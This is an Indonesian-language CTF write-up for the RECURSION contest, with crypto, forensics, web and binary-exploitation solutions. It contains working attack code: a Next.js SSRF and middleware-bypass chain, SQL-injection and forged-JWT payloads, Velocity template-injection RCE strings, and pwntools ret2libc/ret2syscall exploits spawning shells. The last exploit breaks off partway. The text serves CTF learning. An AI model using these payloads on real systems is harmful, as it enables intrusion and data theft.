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CRYPTOGRAPHY 
resonance​

Flag: RECURSION{res0nant_r3dact10n_09} 
 
Deskripsi 
 
by Pablu 
 
A faint signal was captured. Nothing more, nothing less. 
 
Informasi Terkait Soal 
 

chall.py 

from Crypto.PublicKey import RSA 

from Crypto.Util.number import bytes_to_long, long_to_bytes 

from flag import FLAG 

 

key = RSA.generate(1024) 

n = key.n 

e = key.e 

d = key.d 

p = key.p 

q = key.q 

 

dp = d % (p - 1) 

 

m = bytes_to_long(FLAG) 

c = pow(m, e, n) 

ciphertext_hex = long_to_bytes(c).hex() 

 

with open("output.txt", "w") as f: 

    f.write(f"n = {n}\n") 

    f.write(f"e = {e}\n") 

    f.write(f"dp = {dp}\n") 

    f.write(f"ciphertext = {ciphertext_hex}\n") 
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Pendekatan 
 

 
 
Kita cuma perlu implementasi iterasi terakhir untuk mencari k yang akan menghasilkan p. 
 
Solusi 
 

solver.py 

# eter 

from Crypto.Util.number import * 

 

def main(): 

    n = 

1117707933458048200206903119849222287322121027276026769019883135538006893673

8802102070665193914759627346206105111505950883296758045912243757042696799058

7879949654119662322313597088936804792872005508886826106953402914725865768714

0889969175289512338718388410806043565944509508049725418640334666429899994778

02249 

    e = 65537 

    dp = 

9364274929958640432632605094208175813634242527602093818836277754041419671833

5823028102459618437074411349720380425070194915021415593648918808750940278989

03 

    ct = 

"61dc307461666487d1471003a00a4642907e596ad7a79afcb623d8da4ee0546fb0116ab47bd

641dc036caa839dde3fa909bf55bdd3ca62131aa30e6687d6a80c36a68024595a40d9adb7a2c

321afb7779a2d4601d10e2b689dec54ec5478d06558b5f09374730ca8ccfd65c8b724e32c552

e178800b863a7870b681f13fb8b41" 

    ct = int(ct, 16) 

 

    for k in range(1, e): 

        p_candidate = (e * dp - 1 + k) // k 
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        if n % p_candidate != 0: 

            continue 

            

        p = p_candidate 

        q = n // p 

        phi = (p - 1) * (q - 1) 

        d = inverse(e, phi) 

        

        if d * e % phi == 1: 

            pt = pow(ct, d, n) 

            print(long_to_bytes(pt)) 

            break 

    else: 

        print("sob") 

 

if __name__ == '__main__': 

    main() 

 
Hasil 
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Zarrar Cipher​
Flag: RECURSION{1nf0_l0gin_ranked_jam09_mal4m!!!z4rr4r_c1ph3r_1z_real} 

 
Deskripsi 
 
by Pablu 
 
Untuk berkomunikasi secara rahasia dengan sahabatnya, Oejang. Oelyl menciptakan 
sebuah cipher baru yakni zarrar cipher. Bisakah anda mengungkap pesan rahasia yang 
dikirim 
 
nc 103.87.66.171 13339 
 
Informasi Terkait Soal 
 

message.txt 

zaaaaarraaaarrrrraaaarrraaaaarrrrraaaaarraaaaarrraaaarrrrrrrrraaaarrrrrrrrrrrrrrraaaarrrrr
rrrrrrrrraaaaaaarrrrrrrrrrraaaraaaaaarrrrrrrrrrrrrraaaaaarrrrrraaa_aaaaarrrrrrrrrrrrrrraaaaa
arrrrrrrrrrrraaa_aaaaaarrrrrrraaaaaarrrrrrrrraaaaaarrrrrrrrrrrrrraaaaarrrrrrrrrrrrrrraaaaaaar
raaaaaaraaaaaarrrrrrrrrrrrrraaaaaarrrrrrrrrrraaaaaarrrrraaaaaarrrraaaaarrrrrrrrrrrrrrraaaaa
arrrrrrrrrraaaaaaraaaaaarrrrrrrrrrrrraaa_aaarrrrrrrrraaaaarrrrrrrrrrrrrrraaaaaarrrrrrrrrrrrraa
aaaaraaaaaarrrrrrrrrrrraaarrrraaaaaarrrrrrrrrrrrraaraaraaraaaaaaarrrrrrrrrraaarrrraaaaaaar
raaaaaaarraaarrrraaaaaaarraaaaarrrrrrrrrrrrrrraaaaaarrraaaraaaaaaa_aaaaaarrrrrrrraaarrr
aaaaaaarraaaaarrrrrrrrrrrrrrraaaraaaaaaarrrrrrrrrraaaaarrrrrrrrrrrrrrraaaaaaarraaaaaarrrrr
aaaaaaraaaaaarrrrrrrrrrrraaaaaaarrrrrrrrrrrrr 

 
Pendekatan 
 
Intinya bikin mapping aja buat semua char, tapi poin penting disini ‘z’ pertama itu ternyata 
tidak dipakai. Untungnya ada Github Copilot Claude 3.7 Sonnet yang selalu siap membantu 
(malas :3) 
 
Solusi 
 

solver.py 

# eter 

from Crypto.Util.number import * 

from pwn import * 

context.log_level = 'info' 

import string 

 

hostport = "nc 103.87.66.171 13339" 
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HOST = hostport.split()[1] 

PORT = int(hostport.split()[2]) 

 

def read_encrypted_message(): 

    try: 

        with open('message.txt', 'r') as f: 

            encrypted = f.read().strip() 

        return encrypted 

    except Exception as e: 

        print(f"Error reading message.txt: {e}") 

        return None 

 

def learn_encryption_patterns(r): 

    pattern_to_char = {} 

    char_to_pattern = {} 

    

    test_chars = string.ascii_letters + string.digits + 

'{}_!@#$%^&*()-+=[]|:;"\'<>,.?/' 

    

    for char in test_chars: 

        try: 

            r.sendlineafter(b"Choose an option (1/2/3): ", b"1") 

            r.sendlineafter(b"Enter plaintext to encrypt: ", char.encode()) 

            r.recvuntil(b"Encrypted text: ") 

            encrypted = r.recvline().strip().decode() 

            

            if encrypted.startswith('z'): 

                encrypted = encrypted[1:] 

            

            pattern_to_char[encrypted] = char 

            char_to_pattern[char] = encrypted 

            print(f"Learned: '{char}' -> '{encrypted}'") 

        except Exception as e: 

            print(f"Error learning pattern for '{char}': {e}") 

    

    return pattern_to_char, char_to_pattern 

 

def decrypt_message(encrypted, pattern_to_char): 

    if encrypted.startswith('z'): 

        encrypted = encrypted[1:] 
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    result = "" 

    i = 0 

    

    unidentified = [] 

    

    while i < len(encrypted): 

        found = False 

        

        for pattern, char in sorted(pattern_to_char.items(), key=lambda x: 

-len(x[0])): 

            if i + len(pattern) <= len(encrypted) and 

encrypted[i:i+len(pattern)] == pattern: 

                result += char 

                i += len(pattern) 

                found = True 

                break 

        

        if not found: 

            if encrypted[i] == '_': 

                result += '_' 

                i += 1 

            else: 

                unidentified.append((i, encrypted[i:i+20])) 

                result += '?' 

                i += 1 

    

    if unidentified: 

        print("\nUnidentified segments:") 

        for pos, segment in unidentified: 

            print(f"Position {pos}: '{segment}...'") 

    

    return result 

 

def analyze_pattern_structure(pattern_to_char): 

    print("\nPattern structure analysis:") 

    for pattern, char in pattern_to_char.items(): 

        a_count = pattern.count('a') 

        r_count = pattern.count('r') 

        print(f"'{char}' -> {a_count}a, {r_count}r - '{pattern}'") 

 

def main(): 
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    try: 

        r = remote(HOST, PORT) 

        

        # Learn the encryption patterns 

        print("Learning encryption patterns...") 

        pattern_to_char, char_to_pattern = learn_encryption_patterns(r) 

        print(f"Learned {len(pattern_to_char)} encryption patterns") 

        

        analyze_pattern_structure(pattern_to_char) 

        encrypted = read_encrypted_message() 

        decrypted = decrypt_message(encrypted, pattern_to_char) 

        print(f"\nDecrypted message: {decrypted}") 

        

    except Exception as e: 

        print(f"Error in main: {e}") 

    finally: 

        r.close() 

 

if __name__ == "__main__": 

    main() 

 
 
Hasil 
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FORENSIC 
 paBlue Team​

Flag: RECURSION{y0u_4r3_4_r3l14bl3_blu3_t34m_4n4lys7_09_URRRAAAHHH} 
 
Deskripsi 
 
by Pablu 
 
Loh…. 
 
nc 103.87.66.171 32128 
 
Informasi Terkait Soal 
 
Diberikan satu file .evtx, yang bisa dibuka dengan Event Viewer. 
 
Solusi 
 

 
 

https://github.com/dbissell6/DFIR/blob/main/Blue_Book/Blue_Book.md 

 
No 1 - 4104 merupakan event ID untuk logging script yang dijalankan oleh PowerShell. Kita 
bisa filter berdasarkan event ID, dan memang ada script malicious yang dijalankan. 
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No 2 - Kita bisa cek event ID 4688 untuk process creation. Malware: payload.exe 
 

 
 
No 3 - Straightforward, b64 
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No 4 - Mimikatz 
 
No 5 - Kita bisa cek event ID 4657 untuk modification ke value registry. 
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No 6 - Kita bisa cek event ID 4697 untuk service creation. 
 

 
 
No 7 - rundll32.exe 
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No 8 - Kita bisa cek event ID 4624 untuk log RDP. 
 

 
 
No 9 - Kita bisa cek event ID 4663 untuk file access. 
 

 
 
No 10 - 5156 untuk new firewall rule. 
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Hasil 
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persistence​
Flag: RECURSION{mitre_T1546_001_change_default_file_association} 

 
Deskripsi 
 
by k3ng 
 
kok bisa ya kena hek pas lagi belajar html 
 
Attachment URL: 
https://drive.google.com/file/d/102Jijm0gpKaXUssfF1K-lJv5Gd99xags/view?usp=sharing 
Attachment Password: 665933c3b75873d68e9a8b9fd2ce0d50 
Attachment SHA256: 
10012e14f819bdd90ee308a6b3fc27581b484661ae443fedd5edd1aa38ea1cde 
 
Informasi Terkait Soal 
 
Diberikan suatu file .ad1. 
 
Solusi 
 
Solusinya unintended :( 
Di user yang dipakai, cek semua folder ternyata di Documents ada network.pcapng sama 
index.html. Nah index.htmlnya udah ada flagnya ternyata memang bener unintended 💀 
 
persistence 2 keluar aku pergi 🏃🏃🏃🏃🏃🏃🏃🏃🏃🏃🏃🏃🏃🏃 
 
Hasil 
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Combination​
Flag: 

RECURSION{s3ba1knya_j4ng4n_p4k41_d4t4_d1r1_jad1_p4ssw0rd_y4hh_n4nt1_g4mp4ng_d
1_brut3f0rc3} 

 
Deskripsi 
 
by Pablu 
 
Beliau memiliki jiwa kepemimpinan yang tinggi. Sejak kecil, beliau dikenal sebagai sosok 
yang cerdas dan juga pandai berdagang. Pada tahun itu, beliau akhirnya menjadi seorang 
mahasiswa—tepatnya mahasiswa baru di Institute Teknologi Bonsyomarannu. Beliau 
sangat gembira karena diterima di kampus impiannya. Hari demi hari, beliau menjalani 
kehidupannya sebagai mahasiswa. Suatu hari, saat sedang mengerjakan tugas kelompok 
bersama seorang teman, awalnya tidak ada yang mencurigakan. Namun, di tengah malam, 
ketika beliau tertidur, temannya mencoba mengakses sebuah file yang sangat rahasia di 
laptop milik beliau. Walaupun terdapat sistem keamanan yang melindunginya, namun ada 
celah untuk membobolnya. Bantu beliau untuk mengamankan rahasia tersebut sebelum 
temannya berhasil mendapatkannya. 
 
Informasi Terkait Soal 
 
Diberikan sebuah file .dd. 
 
HINT #1 

try combining the device owner's name with his/her data 

HINT #2 

the device owner is Ciro, and the combination password format is year-month-name-date 
(without-) 

Pendekatan 
 
Awalnya karena .dd bisa dibilang image file, langsung aja dicoba ke FTK tapi “k0s0ng”. 
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Karena “k0s0ng” begini, langsung saja dicoba ke PhotoRec. 
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Solusi 
 
Soal ini unsolvable karena kesalahan probset (:sob: orang ini ngelihatin ady ulil amri berjam 
jam) tanpa HINT #2. Harusnya di PhotoRec itu ada foldernya, usernya namanya Ciro yang 
kemudian bisa dipair sama tanggal lahirnya. 
 

wordlist.txt 

200605ciro19 
200605cirO19 
200605ciRo19 
200605ciRO19 
200605cIro19 
200605cIrO19 
200605cIRo19 
200605cIRO19 
200605Ciro19 
200605CirO19 
200605CiRo19 
200605CiRO19 
200605CIro19 
200605CIrO19 
200605CIRo19 
200605CIRO19 

 

solver.sh 

FILE="f0000792.7z"​
WORDLIST="wordlist.txt"​
​
while read -r PASS; do​
​ echo "[*] Trying password: $PASS"​
​
​ 7z t -p"$PASS" "$FILE" &>/dev/null​
​
​ if [ $? -eq 0 ]; then​
    ​ echo "[+] Password Found: $PASS"​
    ​ exit 0​
​ fi​
done < "$WORDLIST"​
​
echo "[-] Password not found." 
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Hasil 
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WEB 
Palubutung​

Flag: RECURSION{banyak_pemanisnya_kayak_palubutung_tapi_gampang_kan} 
 
Deskripsi 
 
Siang-siang gini minum / makan yang dingin + manis enak nih, yang campur-campur gitu 
oke lah ya. hmmm beli apa ya, es teler? es campur? palubutung aja kali ya. otw ajak mentor 
makan palubutung 
 
Informasi Terkait Soal 
Diberikan 2 aplikasi dan satu db: 

1.​ NextJS 
2.​ Flask 
3.​ mysql 

 
flask application merupakan internal service yang hanya bisa diakses dari dalam, 
sementara yang diexpose ke user adalah NextJS dan MYSQL(? ini gatau kenapa diexpose). 
Target utama challenge ini adalah melakukan eksploitasi untuk mendapatkan flag di 
internal app dan mendecryptnya menggunakan key dan nonce yang di-leak di comment 
query mysql. 
 
Pendekatan 
Dari veri next yang digunakan, dan terdapat internal service, serta ada middleware, analisis 
saya adalah memanfaatkan 2 CVE: 

1.​ CVE-2024-34351: Server Side Request Forgery 
2.​ CVE-2025-29927: Authorization Bypass in Next.js Middleware 

 
Ada aplikasi flask yang hanya bisa diakses secara internal, dan fokus kita ada di 3 endpoint 
ini: 
 

1.​ /flag: untuk mendapatkan encrypted flag 
2.​ /debug: untuk akses flag 
3.​ /user: untuk leak key dan nonce 

 

app.py 

............. 

@app.route("/flag", methods=["GET"]) 

def get_flag(): 

    global flag 

    if get_client_ip() != "127.0.0.1": 

        return "Forbidden", 403 

    app.logger.info(f"Encrypting flag: {flag}") 
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    encrypted_flag = AESGCM(key).encrypt(nonce, flag.encode(), 

associated_data=None) 

    return encrypted_flag.hex(), 200 

@app.route("/debug", methods=["GET"]) 

def debug(): 

    url = request.args.get("url") 

 

    trusted = True 

 

    if urlparse(url).hostname in ["localhost", "127.0.0.1", "::1", 

"0.0.0.0"]: 

        app.logger.info( 

            f"Not trusted debug from {url}, hostname is 

{urlparse(url).hostname}" 

        ) 

        trusted = False 

 

    if url.endswith("/flag"): 

        app.logger.info(f"Not trusted debug from {url}") 

        trusted = False 

 

    if trusted: 

        app.logger.info(f"Trusted debug from {url}") 

 

        try: 

            res = requests.get(url) 

        except Exception as e: 

            return str(e), 400 

 

        return f"Thanks for debugging with us, here's your response: 

{res.text}", 200 

 

    return "Ok but we don't trust you yet", 200 

@app.route("/users", methods=["GET"]) 

def get_users(): 

    username = request.args.get("username") 

 

    if not username: 

        return "Missing username", 400 

 

    query = f"""SELECT username, /*{key.hex()}*/ /*{nonce.hex()}*/ role from 
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User where username like '%{username}%' order by 1 limit 1""" 

    app.logger.info( 

        f"{get_client_ip()} is executing query: {query}" 

    )  # hayoloh jangan ngetroll 

 

    try: 

        cur = mysql.connection.cursor() 

        cur.execute(query) 

        records = cur.fetchall() 

        column_names = [desc[0] for desc in cur.description] 

        cur.close() 

    except Exception as e: 

        return str(e), 400 

 

    result = [dict(zip(column_names, row)) for row in records] 

    return jsonify(result) 

.................... 

 
 
Untuk mendapatkan internal service, kita harus memanfaatkan aplikasi NextJS yang 
terekspose. Berikut adalah analisisnya: 
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terdapat beberapa route, salah satunya adalah admin, api, log, dan login.  Pada admin, 
terdapat action yang melakukan redirect ke suatu url: 
 
 

@/admin/action.ts 

"use server"; 

 

import { redirect } from "next/navigation"; 

import { NextResponse } from "next/server"; 

 

export async function logInternalServer(formData: FormData) { 

  "use server"; 

  const message = formData.get("message"); 

  const secretKey = formData.get("secret-key"); 

 

  if (secretKey !== process.env.SECRET_KEY) { 

    return NextResponse.json({ error: "Invalid secret key" }, { status: 403 

}); 

  } 
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  await fetch("http://flaskapp:5000/log", { 

    method: "POST", 

    headers: { 

      "Content-Type": "application/json", 

    }, 

    body: JSON.stringify({ 

      message: message, 

    }), 

  }); 

 

  redirect("/log"); 

} 

 
Dimana fungsi ini dapat kita manfaatkan untuk eksploitasi CVE-2024-34351. 
 
Namun disini terdapat middleware untuk mengakses admin: 
 

middleware.ts 

import { NextResponse, type NextRequest } from "next/server"; 

import { verifyJwtToken } from "@/_libs/auth"; 

 

export async function middleware(request: NextRequest) { 

  const token = request.cookies.get("jwt")?.value; 

  const user = 

    token && 

    (await verifyJwtToken(token).catch((err) => { 

      console.log(err); 

    })); 

 

  if (request.nextUrl.pathname.startsWith("/login")) { 

    if (user) { 

      return NextResponse.redirect(new URL("/", request.url)); 

    } 

  } 

 

  if (request.nextUrl.pathname.startsWith("/admin")) { 

    if (!user) { 

      return NextResponse.redirect(new URL("/login", request.url)); 

    } 
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    if (user.role !== "admin") { 

      return NextResponse.redirect(new URL("/login", request.url)); 

    } 

  } 

 

  return NextResponse.next(); 

} 

 
Kita bisa bypass dengan menggunakan header seperti berikut: 
 

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware 

 

 
 
Selanjutnya kita perlu mentrigger action yang dapat mengarahkan ke SSRF, inilah sebab kita 
perlu mengakses admin, karena kita perlu mengetahui actionId dari spesifik server action. 
Untuk melakukan SSRF, kita perlu membuat sebuah server yang kita host sendiri dengan 
struktur http server sebagai berikut: 
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reciever.py 

from flask import Flask, request, Response, redirect 

 

app = Flask(__name__) 

 

@app.route('/log', methods=['HEAD', 'GET']) 

def index(): 

    if request.method == 'HEAD': 

        print(request.headers) 

        resp = Response("") 

        resp.headers['Content-Type'] = 'text/x-component' 

        return resp 

    return redirect("http://example.com") 

app.run(debug=True, port=4777) 

 
kita ubah hostnya menjadi ke server kita as attacker: 

 
 
maka hasilnya, server akan mendapat result dari redirect ke example.com 
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Kita berhasil mentrigger SSRF, Selanjutnya, kita bisa membangun exploit untuk 
mendapatkan encrypted flag dengan redirect seperti berikut pada server kita: 
 

return redirect("http://flaskapp:5000/debug?url=http://127.1:5000/flag?o=1") 

(maaf ya unintended 😀) 
 
Kita gunakan 127.1 karena tidak masuk dalam list blacklist yang ada yakni: 
 
    if urlparse(url).hostname in ["localhost", "127.0.0.1", "::1", "0.0.0.0"]: 

        app.logger.info( 

            f"Not trusted debug from {url}, hostname is 

{urlparse(url).hostname}" 

        ) 

        trusted = False 

 

    if url.endswith("/flag"): 

        app.logger.info(f"Not trusted debug from {url}") 

        trusted = False 
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Selanjutnya, kita perlu melakukan leak pada key dan nonce nya. Tantangannya adalah 
melakukan leak query, karena key dan nonce nya ada pada comment raw sql query. Kita 
dapat memanfaatkan SQL Injection pada query tersebut: 
 
 

Query 

SELECT username, /*{key.hex()}*/ /*{nonce.hex()}*/ role from User where 

username like '%{username}%' order by 1 limit 1 

 
Setelah sekian waktu mencari bagaimana kita dapat membaca query yang akan digunakan, 
kita bisa menggunakan COLUMN info pada information_schema.processlist untuk 
membaca current query. Berikut adalah payload yang digunakan 
 
 

return redirect("http://flaskapp:5000/users?username=asemla%' UNION SELECT INFO, 
'3' from information_schema.processlist-- -") 

 
Dengan menggunakan redirect tersebut, kita bisa mendapatkan key dan noncenya: 
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Solusi 
 
Tinggal buat script untuk decryptnya, dan kita akan mendapatkan flagnya: 
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decrypt.py 

from Crypto.Cipher import AES 

from binascii import unhexlify 

 

key = 

bytes.fromhex("31dfe3e212e40cb54e9716ea1806b6e9c114306bfa9c31826630885856c5f

159") 

nonce = bytes.fromhex("3987967401ff86aed13d43cc") 

ciphertext_and_tag = 

bytes.fromhex("b03107a5c1e3bcd0253ccb2fd5a7522bc73cbffed5db91ae7bb9aa0b54415

b255be7494a67cb53b4d01eadec15e9606909e8e74b83d6eaf224c5c193a4c92d288c7723f2a

aaa9803b56e1c458d11") 

 

ciphertext = ciphertext_and_tag[:-16] 

tag = ciphertext_and_tag[-16:] 

 

cipher = AES.new(key, AES.MODE_GCM, nonce=nonce) 

plaintext = cipher.decrypt_and_verify(ciphertext, tag) 

 

print("Decrypted plaintext:", plaintext.decode('utf-8', errors='ignore')) 

 

 
 
Hasil 
 
flag: RECURSION{banyak_pemanisnya_kayak_palubutung_tapi_gampang_kan}  
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Warung​
Flag: RECURSION{miss1on_succ3ss_agent_pablu_09} 

 
Deskripsi 
 
When yh warung sederhana buka lagi. 
 
Informasi Terkait Soal 
 
Diberikan sebuah web statis (nampaknya). 

 
 
Pendekatan 
 
Karena kotak hitam (blackbox), jadi saya mencoba untuk akses robots.txt, dan terdapat 
secret page 

 
 
akses halaman tersebut dan kita akan mendapatkan  
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tapi sepertinya kita hars jadi Pablu. Ketika kita coba login sebagai Pablu, kita akan dapat 
response seperti berikut: 
 

 
 
Kalau dilihat cookienya: 
 
 

{"alg":"none","typ":"JWT"}?{"username":"Pablu","role":"user","exp":1743962429} 
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Karena jwt menggunakan algo none, maka tidak ada signing yang terjadi, cukup ubah jadi 
admin pada role dan kita dapat admin. 
 
Solusi 
 

sol.py 

import httpx 

import base64 

 

cl = httpx.Client() 

url = "http://103.87.66.171:1337/welcome.php" 

def welcome(data): 

    cl.headers.update({ 

        "Cookie": f"auth_token=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.{data}." 

    }) 

    data 

    r = cl.get(url) 

    print(r.text) 

 

data = 

base64.b64encode(b'{"username":"Pablu","role":"admin","exp":1743962429}').de

code() 

welcome(data) 

 

 
 
Hasil 
 
flag: RECURSION{miss1on_succ3ss_agent_pablu_09}  
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Pablu inGjection​
Flag: 

RECURSION{rrrRRAAAHHHH_selamat_bang!!Maaf_yak_soalnya_kyk_gini_doang_soalnya_baru
_pertama_kali_jadi_probset} 

 
Deskripsi 
 
A sleek, modern login portal built by someone who clearly values aesthetics but does it 
hold up under pressure? 
 
Informasi Terkait Soal 
 
Pada aplikasi ini, kita bisa melakukan login. Dengan menggunakan payload: 
 

username=' or 1=1--&password=' or 1=1-- 

 
kita akan menjadi Pablu, yang berarti ada SQL Injection pada backend. 
 
Pendekatan 
 
Karena tidak ada jalur yang bisa kita pakai, maka sepertinya flag ada di database, dengan 
menggunakan payload untuk mendapatkan nama tabel menggunakan error based sql 
injection seperti berikut: 
 

' or 1=(SELECT CAST((SELECT table_name from information_schema.tables LIMIT 1 
OFFSET 1) AS int))-- - 

 
kita mengetahui ada tabel dengan nama ‘pabluflags’ 

 
 
Solusi 
 
Dengan metode yang sama, kita bisa melakukan leak konten pada pabluflags 
 

exp.py 

import httpx 

 

url="http://103.87.66.171:3000/" 

cl = httpx.Client() 

def login(username, password): 

    payload = {"username": username, "password": password} 
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    response = cl.post(url + "login", data=payload) 

    print(response.text) 

 

 

# leak flag 

login("' or 1=(SELECT CAST((SELECT pgflag FROM pabluflags) AS int))-- -", 

"admin") 

 

# leak table name 

# login("' or 1=(SELECT CAST((SELECT table_name from 

information_schema.tables LIMIT 1 OFFSET 1) AS int))-- -", "admin") 

 

 
 
Hasil 
 
flag: 
RECURSION{rrrRRAAAHHHH_selamat_bang!!Maaf_yak_soalnya_kyk_gini_doang_soalnya_
baru_pertama_kali_jadi_probset}  
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Sindrom Velocity​
Flag: 

RECURSION{Dung_DungTak_DungDungTak_DungTak_0dd00e33b6fc67b811ebe3177217d6c
0} 

 
Deskripsi 
 
Tolong, saya terkena sindrom velocity 😔 
 

1.​ DUNG 
2.​ DUNG TAK DUNG DUNG TAK DUNG TAK 
3.​ DUNG DUNG TAK DUNG DUNG TAK DUNG TAK 
4.​ DUNG DUNG DUNG DUNG DUNG TAK TAK TAK TAK  
5.​ DUNGTAK DUNGTAK DUNGTAK DUNGTAK 
6.​ 🤟🤟 
7.​ 🤞🤞 

 

 
 
Informasi Terkait Soal 
 
Diberikan war file, setelah didecompile, didapatkan bagian penting sebagai berikut: 
 

LoginServlet.java 

public class LoginServlet extends VelocityViewServlet { 

   private static final String USERNAME = "admin"; 

   private static final String PASSWORD = "REDACTED"; 

   private String templateString; 

 

   public void init(ServletConfig config) throws ServletException { 

      super.init(config); 
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      InputStream stream = 

this.getServletContext().getResourceAsStream("templates/login.vm"); 

      Scanner scanner = (new Scanner(stream)).useDelimiter("\\A"); 

 

      try { 

         this.templateString = scanner.hasNext() ? scanner.next() : ""; 

      } catch (Throwable var7) { 

         if (scanner != null) { 

            try { 

               scanner.close(); 

            } catch (Throwable var6) { 

               var7.addSuppressed(var6); 

            } 

         } 

 

         throw var7; 

      } 

 

      if (scanner != null) { 

         scanner.close(); 

      } 

 

   } 

 

   protected Template handleRequest(HttpServletRequest request, 

HttpServletResponse response, Context ctx) { 

      Template tt = null; 

      String al = "Please login"; 

      String st = "danger"; 

      String ic = "bi bi-exclamation-triangle-fill"; 

      String uu; 

      String pp; 

      if ("POST".equals(request.getMethod())) { 

         uu = request.getParameter("username"); 

         pp = request.getParameter("password"); 

         if (uu != null && uu.equals("admin")) { 

            if (pp != null && pp.equals("REDACTED")) { 

               al = "Login successful :)"; 

               st = "success"; 

               ic = "bi bi-check-circle-fill"; 

            } else { 
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               al = "Invalid password"; 

            } 

         } else { 

            al = "Username '" + uu.split(" ")[0] + "' not found"; 

         } 

      } 

 

      try { 

         uu = URLDecoder.decode(al, 

StandardCharsets.UTF_8.toString()).replaceAll("\\$\\w+", 

"").replaceAll("\\#\\w+", "").replaceAll("!", "").replaceAll("\"", 

"&quot;"); 

         pp = this.templateString.replace("[ERROR]", "#[[" + uu + 

"]]#").replace("[STATUS]", "#[[" + st + "]]#").replace("[ICON]", "#[[" + ic 

+ "]]#"); 

         RuntimeServices rs = RuntimeSingleton.getRuntimeServices(); 

         SimpleNode sn = rs.parse(pp, "login"); 

         tt = new Template(); 

         tt.setRuntimeServices(rs); 

         tt.setData(sn); 

         tt.initDocument(); 

      } catch (Exception var12) { 

      } 

 

      return tt; 

   } 

} 

 
 
Pendekatan 
 
Bagian penting dari script ini adalah: 

1.​ Terdapat SSTI menggunakan velocity 🤟🤟. 
2.​ Terdapat proteksi untuk mencegah SSTI Velocity yakni dengan blacklist #,$,!,” 
3.​ Harus escape dari #[[ ]]# karena konten di dalamnya tidak akan tereksekusi sebagai 

sebuah kode java. 
 
 

uu = URLDecoder.decode(al, StandardCharsets.UTF_8.toString()).replaceAll("\\$\\w+", 
"").replaceAll("\\#\\w+", "").replaceAll("!", "").replaceAll("\"", "&quot;"); 
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Pada blacklist tersebut, terdapat suatu kelemahan dimana kita bisa mem-bypass 
penggunaan # dan $ dengan ! setelah $ dan # tepat sebelum alphabetic sehingga input kita 
akan seperti berikut: 
 

]]#$!request.getClass()#[[ 

 

 
 
Solusi 
 
Kita bangun payload untuk RCE dan read outputnya seperti berikut:​
 
 

payload 

]]#$!request.getClass().getSuperclass().getClass().forName('java.util.Scanner').getConstr
uctor($!request.getClass().getSuperclass().getClass().forName('java.io.InputStream')).ne
wInstance($!request.getClass().getSuperclass().getClass().forName('java.lang.Runtime').
getRuntime().exec('id').getInputStream()).useDelimiter('\A').next()#[[ 
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lalu kita baca flag di /f3a670b769928351e45c9c6bfa6c3ba6.txt 
 
 

payload 

]]#$!request.getClass().getSuperclass().getClass().forName('java.util.Scanner').getConstr
uctor($!request.getClass().getSuperclass().getClass().forName('java.io.InputStream')).ne
wInstance($!request.getClass().getSuperclass().getClass().forName('java.lang.Runtime').
getRuntime().exec('cat%2b/f3a670b769928351e45c9c6bfa6c3ba6.txt').getInputStrea
m()).useDelimiter('\A').next()#[[ 
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Hasil 
 
flag: 
RECURSION{Dung_DungTak_DungDungTak_DungTak_0dd00e33b6fc67b811ebe3177217
d6c0} 
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BINARY EXPLOITATION 
When Yh​

Flag: RECURSION{wh3n_yh_g4k_b3gad4n9_mulu:skull:} 
 
Diberikan file chall: 

 
Sama Dockerfile, jadi kita bisa ambil libc dari docker buat nge match di remote. 
Lalu kita buka dengan IDA: 

 
Cukup obvious ada 2 vuln, format string di line 26 dan buffer overflow di line 29. Tapi 
payload kita untuk beberapa karakter di shift jadi harus di akomodasi, lalu karena tidak ada 
win kita menggunakan ret2libc. 
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Berikut solver: 

solve.py 

#!/usr/bin/env python3 

from pwn import * 

 

# ========================================================= 

#                          SETUP                         

# ========================================================= 

exe = './chall_patched' 

elf = context.binary = ELF(exe, checksec=True) 

libc = './libc.so.6' 

libc = ELF(libc, checksec=False) 

context.log_level = 'info' 

context.terminal = ["tmux", "splitw", "-h", "-p", "65"] 

host, port = '103.87.66.171', 61009 

 

def initialize(argv=[]): 

    if args.GDB: 

        return gdb.debug([exe] + argv, gdbscript=gdbscript) 

    elif args.REMOTE: 

        return remote(host, port) 

    else: 

        return process([exe] + argv) 

 

gdbscript = ''' 

init-pwndbg 

breakrva 0x14BB 

'''.format(**locals()) 

 

# ========================================================= 

#                         EXPLOITS 

# ========================================================= 

def exploit(): 

    global io 

    io = initialize() 

    

    rop = ROP(exe) 

    payload = b'%3$f|%25$f|%29$f' 

    io.sendline(payload) 

    io.recvuntil(b'Your name key is: ') 
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    libc.address, canary, elf.address = map(lambda x: int(x, 0), 

io.recvline().strip().split(b'|')) 

    libc.address -= 0x114887 

    elf.address -= 0x1298 

    

    rop = ROP(libc) 

    rop.raw(cyclic(136)) 

    rop.raw(canary) 

    rop.raw(p64(rop.ret.address) * 2) 

    rop.system(next(libc.search(b'/bin/sh\x00'))) 

    io.sendline(rop.chain()) 

    info(f'libc base: {hex(libc.address)}') 

    

    io.interactive() 

    

if __name__ == '__main__': 

    exploit() 
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Pacaran kok Virtual​
Flag: RECURSION{aku_jug4_v1rtu4l_k0k_b4ng:(} 

 
Diberikan sebuah file: 

 
Kita buka di IDA: 

 
Well biasanya sih di CPP, kalau pake cin itu dipasangin data type nya sama string, tapi disini 
di input ke array. Jadi bisa buffer overflow. Dan karena: 

1.​ Banyak gadgetnya 
2.​ Ada /bin/bash di binary nya 

Kita bisa langsung ret2syscall. 
 

Ini kayaknya vtable overwrite intended nya ya, sy baru liat ada beberapa class 💀 
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Berikut solver: 

solve.py 

#!/usr/bin/env python3 

from pwn import * 

 

# ========================================================= 

#                          SETUP                         

# ========================================================= 

exe = './chall_patched' 

elf = context.binary = ELF(exe, checksec=True) 

libc = './libc.so.6' 

libc = ELF(libc, checksec=False) 

context.log_level = 'debug' 

context.terminal = ["tmux", "splitw", "-h", "-p", "65"] 

host, port = '103.87.66.171', 61007 

 

def initialize(argv=[]): 

    if args.GDB: 

        return gdb.debug([exe] + argv, gdbscript=gdbscript) 

    elif args.REMOTE: 

        return remote(host, port) 

    else: 

        return process([exe] + argv) 

 

gdbscript = ''' 

init-pwndbg 

break *main 

'''.format(**locals()) 

 

# ========================================================= 

#                         EXPLOITS 

# ========================================================= 

def exploit(): 

    global io 

    io = initialize() 

    rop = ROP(exe) 

    pop_rdi = 0x0000000000405145 

    pop_r15_ret = 0x0000000000405144 

    pop_rsi_mov_rdx_r15_pop_r15 = 0x0000000000474973 

    syscall = 0x00000000004349ff 
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    pop_rax = 0x000000000044126a 

    binbash = next(elf.search(b'/bin/bash\x00')) 

    info('binbash: {}'.format(hex(binbash))) 

